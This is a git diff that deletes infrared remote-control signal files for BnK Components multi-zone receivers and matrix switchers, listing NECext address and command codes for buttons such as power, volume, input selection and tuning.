-# -name: TUN_- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 1B 00 00 00 -# -name: TUN_+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 1F 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 29 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 2D 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 30 00 00 00 -# -name: SEL/ENTER -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 4B 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 5A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 65 00 00 00 -# -name: SOURCE_+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 76 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 8E 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: A2 00 00 00 -# -name: SOURCE_- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: A6 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: C6 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: CF 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: E5 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: EB 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: F9 00 00 00 -# -name: V+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir deleted file mode 100644 index 736159510..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 30 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3B 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir deleted file mode 100644 index 61ea13233..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 18 00 00 00 -# -name: TUN_- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 1B 00 00 00 -# -name: TUN_+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 1F 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 29 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 2D 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 30 00 00 00 -# -name: SEL/ENTER -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 4B 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 5A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 65 00 00 00 -# -name: SOURCE_+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 76 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 8E 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: A2 00 00 00 -# -name: SOURCE_- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: A6 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: C6 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: CF 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: E5 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: EB 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: F9 00 00 00 -# -name: V+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir deleted file mode 100644 index 60be1b88c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir deleted file mode 100644 index fa019eb20..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: STATIOIN_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 8E 00 00 00 -# -name: PRE- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir deleted file mode 100644 index 8549a60d7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 6E 00 00 00 